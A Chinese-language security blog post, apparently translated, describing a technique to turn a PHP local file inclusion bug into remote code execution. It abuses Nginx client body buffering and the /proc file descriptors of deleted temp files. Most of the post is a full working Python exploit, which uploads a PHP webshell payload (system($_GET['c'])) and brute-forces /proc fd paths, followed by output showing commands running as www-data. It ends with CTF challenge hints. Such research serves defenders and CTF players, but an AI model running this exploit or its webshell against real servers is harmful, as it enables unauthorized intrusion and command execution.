前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用Nginx本地文件包含 (LFI) 漏洞的新方法

利用Nginx本地文件包含 (LFI) 漏洞的新方法

原创
作者头像
Khan安全团队
发布2021-12-27 10:25:33
1.2K0
发布2021-12-27 10:25:33
举报
文章被收录于专栏:Khan安全团队Khan安全团队

大多数当前的 LFI 开发技术依赖于 PHP 能够创建某种形式的临时或会话文件。让我们考虑以下示例,其中以前可用的技巧不起作用:

PHP代码:

代码语言:javascript
复制
<?php  include_once ( $_GET [ 'file' ]);

FPM/PHP 配置:

代码语言:javascript
复制
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...

设置:

代码语言:javascript
复制
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

幸运的是,PHP 目前经常通过 PHP-FPM 和 Nginx 部署。Nginx 提供了一个容易被忽视的客户端主体缓冲功能,如果客户端主体(不限于发布)大于某个阈值,它将写入临时文件。

如果 Nginx 以与 PHP 相同的用户身份运行(通常以 www-data 的身份运行),则此功能允许在不使用任何其他创建文件的方式的情况下利用 LFI。

相关Nginx代码:

代码语言:javascript
复制
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

可以看出,tempfile 在被 Nginx 打开后立即被取消链接。幸运的是 procfs 仍可用于通过竞争获取对已删除文件的引用:

代码语言:javascript
复制
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

注意:不能直接包含/proc/34/fd/15在这个例子中,因为 PHP 的include函数会解析/var/lib/nginx/body/0000001368 (deleted)文件系统中不存在的路径。幸运的是,这个小限制可以通过一些间接方式绕过,例如:/proc/self/fd/34/../../../34/fd/15最终执行已删除/var/lib/nginx/body/0000001368文件的内容。

充分利用:

代码语言:javascript
复制
#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes 
r  = requests.get(URL, params={
    'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
    'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
    r  = requests.get(URL, params={
        'file': f'/proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx worker found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= cpus:
            break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
    print('[+] starting uploader')
    while not done:
        requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
    global done

    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
            r  = requests.get(URL, params={
                'file': f,
                'c': f'id'
            })
            if r.text:
                print(f'[!] {f}: {r.text}')
                done = True
                exit()

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

输出:

代码语言:javascript
复制
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

网站注意事项:

  • includer's revenge还包含一个 LFI 漏洞。通过fastcgi_buffering它更容易利用,因为可以通过调用readfilehttp:// 资源保持临时文件打开。
  • counter额外添加,system()以便/proc/$PID/cmdline可用于通过 base64 包装器包含本地文件。:)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 充分利用:
    • 网站注意事项:
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档